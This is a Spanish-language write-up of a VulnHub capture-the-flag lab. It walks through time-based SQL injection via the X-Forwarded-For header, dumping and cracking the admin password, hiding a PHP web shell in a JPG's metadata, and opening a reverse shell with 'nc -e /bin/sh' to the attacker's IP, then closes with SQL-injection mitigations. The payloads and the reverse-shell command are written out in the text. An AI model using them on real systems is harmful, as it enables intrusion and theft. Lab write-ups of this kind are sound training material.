VulnHub - From SQL Injection to Shell II - CTF Walkthrough

Descripción
Este ejercicio explica cómo se puede, a partir de una inyección SQL, acceder a la consola de administración. A continuación, en la consola de administración, cómo puede ejecutar comandos en el sistema.

Con la herramienta Netdiscover escanearemos la red en busca de nuestra máquina objetivo.
netdiscover
Nuestra máquina objetivo tiene la dirección IP 192.168.50.114. Ahora con la herramienta Nmap escanearé la máquina objetivo para realizar un reconocimiento de puertos y servicios en ejecución.
nmap -sS
nmap -sV
Como se muestra en las imágenes anteriores la máquina objetivo está ejecutando el servidor nginx en el puerto 80.

Ahora con mi navegador web visitaré la página web.
index.html
Al visitar la página web se nos muestra la página de inicio y también se puede observar una barra de menú. Ahora analizaré cada link de la barra de menú.
bar-menu
Analizando la barra de menú los menús |test|ruxcon|2010| son cargadas en la página web a través de la siguiente URL: http://192.168.50.114/cat.php?id=1, donde id=1 corresponde al link test, id=2 corresponde al link ruxcon y id=3 corresponde al link 2010.
bar-menu
Ahora veré si el parámetro 'id' es vulnerable a SQLi. Para esto igualaré en el parámetro id con el carácter (') apóstrofo. de la siguiente manera http://192.168.50.114/cat.php?id=', con esto deberíamos ver algún error de base de datos si el parámetro es vulnerable a SQLi.
test1-sqli
Con la prueba anterior en la página web no se mostró ningún tipo de error, por lo tanto, realizaré una segunda prueba, enviaré el siguiente parámetro por la URL: http://192.168.50.114/cat.php?id=1' or sleep(5) -- -.
test2 sqli
La prueba anterior lo que intentaba realizar es si el parámetro 'id' es vulnerable a SQLi al inyectar la instrucción sleep(5) -- -. La página web debe retardar la carga de la página web en 5 segundos. este tipo de vulnerabilidad es también conocida como SQLi blind (SQLi a ciegas). Para este caso, la página web se demoró 14 ms en cargar.
load-time web
Por lo tanto, indica que el parámetro no es vulnerable a SQLi Blind.

Otra página web importante de analizar es link admin, que muestra un formulario web de autenticación.
login-form
Realizaré la misma prueba para comprobar si el formulario web es vulnerable a SQLi. Primero probaré el campo login.
test1-login
result-test1-login
Como resultado de la prueba anterior a la página web, no mostro ningún tipo de error y mensaje de autenticación fallida. Esto me hace pensar que el formulario no es vulnerable a inyección SQL. Por lo tanto, me apoyaré de la herramienta SQLMap para realizar pruebas más sofisticadas a los parámetros antes testeado de forma manual.

Con la herramienta SQLMap ejecutaré de la siguiente forma.
sqlmap-test1
Como se muestra en la imagen anterior al ejecutar la herramienta SQLMap, esta indica que el parámetro "cat.php?id=1" no es vulnerable a SQLi.

Ahora ejecutare la herramienta contra el formulario web.
sqlmqp-test2
sqlmap-test2
Al ejecutar herramienta SQLMap contra el formulario web, esta indica que el formulario web no es vulnerable a SQLi.

Por lo tanto, sabemos que esta máquina es vulnerable a SQLi y ya hemos probado todos los puntos de entrada de la aplicación para encontrar la vulnerabilidad SQLi. Después de buscar información durante un par de horas en Internet encontré el siguiente post "SQL injection through HTTP headers". En este post se explica la posibilidad de a través de cabeceras HTTP encontrar vulnerabilidades SQLi. En ellas se mencionan las cabeceras:  X-Forwarded-For, User-Agent, Referer. Para una mayor información sobre las cabeceras HTTP les comparto la siguiente información "HTTP headers".

En esencia estas cabeceras HTTP mencionadas anteriormente son utilizadas por la aplicación web para registrar logs, hacer estadísticas, etc. Como fuente de datos para almacenar esta información podría ser una base de datos. Por lo tanto, debemos realizar pruebas a estos encabezados HTTP y descubrir si son vulnerables a SQLi.

El primer parámetro al cual le realizaré la prueba será al encabezado X-Forwarded-For. Para realizar la prueba utilizaré la herramienta BurpSuite de la siguiente forma.
BrupSuite
Como se muestra en la imagen anterior intercepte la petición a la página web. Luego enviaré la petición interceptada a la utilidad "Repeater" de BurpSuite para manipular las cabeceras HTTP.
BurpSuite Repeater

 
BurpSuite Repeater
Una vez estando en el "Repeater" debemos agregar la cabecera HTTP X-Forwarded-For y luego enviamos al servidor. Para este caso el valor de la cabecera será: 127.0.0.1' OR SLEEP(10) -- -.  

Nota: La cabecera X-Forwarded-For (XFF) es un estándar de facto para identificar el origen de la dirección IP de un cliente conectado a un servidor web a través de un proxy HTTP o un balanceador de carga.

BurpSuite Repeater x-forwarded-for
Como se muestra en la imagen anterior envié la cabecera "x-forwarded-for" sin ninguna carga útil para probar la vulnerabilidad SQLi. El objetivo de esto es saber cuánto demora en responder el servidor, el servidor demoro en responder 15 milisegundos. Ahora a la cabecera x-forwarded-for agregare la instrucción sleep(10), por lo tanto, si el servidor se demora en responder 20 milisegundos o más indica que la cabecera "x-forwarded-for" es vulnerable a SQLi.
BurpSuite Repeater x-forwarded-for
Como se muestra en la imagen anterior el servidor se demoró 20 milisegundo en responder. esto es un indicador que el parámetro "x-forwarded-for" es vulnerable a SQLi.

Ahora utilizaré la herramienta SQLMap para realizar pruebas más sofisticadas.
SQLMap MySQL
La herramienta detecto que la cabecera "x-forwarded-for" es vulnerable a SQLi y también detecto la base de datos que utiliza la página web que es MySQL.

Ahora necesitamos saber que bases de datos se encuentran almacenada servidor MySQL.
SQLMap --dbs
Ahora debemos enumerar las tablas y su contenido de la base de dato "photoblog".
SQLMap -D --dump-all
SQLMap -D
Al ejecutar SQLMap como se muestra en la imagen anterior, la herramienta nos mostrará mucha información, pero la información relevante es la tabla "user" en ella se encuentra el nombre de usuario y contraseña, para el usuario admin. La contraseña al parecer se encuentra hasheada. Entonces con la herramienta online crackstation decodificaré la contraseña.
crackstation
La herramienta decodifico la contraseña para el usuario admin es P4ssw0rd.

Con la contraseña descifrada me autenticaré en el formulario de login de la aplicación.
login
admin-panel


Como podemos observar al autenticarnos se nos muestra un panel donde podemos agregar imágenes. Cabe mencionar que, en la máquina VulnHub - From SQL Injection to Shell I también se nos presentaba la misma página web y al subir un archivo al servidor este validaba que no tuviera la extensión .php, pero si cambiamos la extensión a .pHp podemos subir el archivo al servidor. Por tanto, probaré la misma forma de vulnerar el servidor.

En el directorio /usr/share/webshells de máquina atacante (Kali Linux) encontramos varias webshell en diferentes lenguajes de programación el que nos interesa a es php.
webshell Kali Linux
La webshell que utilizaremos será php-reverse-shell.php.
php-webshell
El archivo php-reverse-shell.php debemos realizar algunos cambios.
config-webshell-php
Las líneas que debemos modificar son las número 49 y 50. Donde la línea número 49 debemos configurar la dirección IP de nuestra máquina atacante y en la línea 50 debemos configurar el puerto en escucha por donde recibiremos la conexión desde el servidor web.

En nuestra máquina atacante utilizaremos la herramienta Netcat para configurar el puerto en escucha.
Por último, nos queda subir nuestra reverse-shell al servidor web. primero para subir el archivo cambiaré el nombre del archivo a umbrella.pHp, para que nuestro archivo pase desapercibido y para pasar la validación del servidor.

load-umbrella.php
Al subir el archivo nos muestra el siguiente mensaje.
respose-umbrella.php
Al parecer en esta versión de la máquina han mejorado la validación de los archivos que se suben al servidor web.

Probaré otro esquema de ataque, en este caso utilizaré una imagen con extensión .jpg. y con la herramienta exiftool agregaré un metadato de tipo "comment" donde inyectaré código PHP donde pueda ejecutar comandos en el servidor web.
webshell-hidden-exiftoll
exiftool
Ahora subiré la imagen al servidor web.
webshell-hidden-upload

webshell-hidden-succeful
path-webshell
Como se muestran en las imágenes anteriores la imagen se subió con éxito. También en la última imagen se muestra la ruta donde debemos llamar la imagen y pasar el parámetro "cmd.php?cmd=[comando]". Como se muestra en la siguiente imagen.
cmd.php
¡Bien! nuestro esquema de ataque a funcionado muy bien.

Ahora comprobaré si en el servidor está instalada la aplicación netcat.
nc-server
La aplicación netcat está instalada en el servidor web, por lo tanto, podría ejecutar la siguiente instrucción "nc -e /bin/sh 192.168.50.160 1234". Donde la dirección IP 192.168.50.160 es la dirección IP de mi máquina atacante y 1234 es número de puerto que estará escuchando las conexiones en la máquina atacante.

En la máquina atacante ejecutaré la siguiente instrucción para dejar a la escucha el puerto número 1234.
Mientras en la página web comprometida ejecutaremos la siguiente solicitud.
nc-reverse
http://192.168.50.114/admin/uploads/1721876951.jpg/cmd.php?cmd=nc%20-e%20/bin/sh%20192.168.50.160%201234
Cabe mencionar, que la instrucción 
"nc -e /bin/sh 192.168.50.160 1234" hay que url-encodearla.

Al enviar la solicitud en nuestra máquina atacante recibiremos una conexión a desde el servidor a nuestra máquina atacante.
nc-reverse-server

reverse-shell-nc
Como se muestra en las imágenes anteriores tenemos una consola funcional. En el directorio "classes" hay un archivo stats.php, donde se procesa la cabecera HTTP "X-Forwarded-For".
X-Forwarded-For
Como se muestra en la imagen anterior la cabecera "X-Forwarded-For" está siendo procesado por la aplicación web con fines estadísticos.

¿Cómo prevenir las inyecciones SQL?
Existen distintos tipos de medidas para mitigar las inyecciones SQL, cuando se debe comunicar una aplicación a una base de dato a través del lenguaje SQL.  También se debe considerar que no tan solo las aplicaciones web son vulnerables a inyección SQL, las aplicaciones de escritorio también pueden ser vulnerables a inyecciones SQL.

Las principales medidas de mitigación son:
  1. Uso de consultas parametrizadas (Prepared Statements).
  2. Uso de procedimientos almacenados (Stored Procedures).
  3. Validación de entrada de datos de usuarios.
Consultas Parametrizadas (Prepared Statements).
Las consultas preparadas consisten en declarar la consulta a ejecutar en una variable antes de su ejecución, es decir, precompilar la instrucción SQL para luego mediante marcadores de posición (placeholder) se remplazan los valores provenientes desde la aplicación web o de aplicación de escritorio.

Algunas aplicaciones que utilizan consultas preparas son:
Python - SQLAlchemy 
Java - JDBC(Java Data base Connections) a través del método prepareStatement.
.NET - ADO.NET (Access Data objects) a través del método SqlCommandPrepare.

Procedimientos almacenados (Stored Procedures).
Los procedimientos almacenados son un conjunto de instrucciones de base de datos (SQL) que se almacenan físicamente en una base de datos y pueden ser llamadas desde otras aplicaciones y otros procedimientos almacenados.

Ejemplo de procedimiento almacenado en MySQL. 

Tabla empleados.
 CREATE TABLE empleados (
    id INT AUTO_INCREMENT PRIMARY KEY,
    nombre VARCHAR(100),
    salario DECIMAL(10, 2)
);
Procedimiento almacenado que inserta datos en la tabla empleado.
DELIMITER //

CREATE PROCEDURE agregarEmpleado(
    IN p_nombre VARCHAR(100),
    IN p_salario DECIMAL(10, 2)
)
BEGIN
    INSERT INTO empleados (nombre, salario) VALUES (p_nombre, p_salario);
END //

DELIMITER ;

Se debe tener cuidado de no incluir ninguna generación de declaración SQL dinámica no segura, en el caso se sea necesita incluir una declaración SQL dinámica se deben validar las entradas y un adecuado escape de caracteres.

Validación de entrada de datos de usuarios
Para todos los casos se debe tener una buena validación de entradas de datos de usuarios. es decir, si un campo recoge un valor de fecha, que el campo solo reciba valores de tipo fecha. esto evita que desde la capa de aplicación (Web o Escritorio) lleguen datos que puedan afectar las instrucciones SQL y su comportamiento.

Happy Hack!!!

Comentarios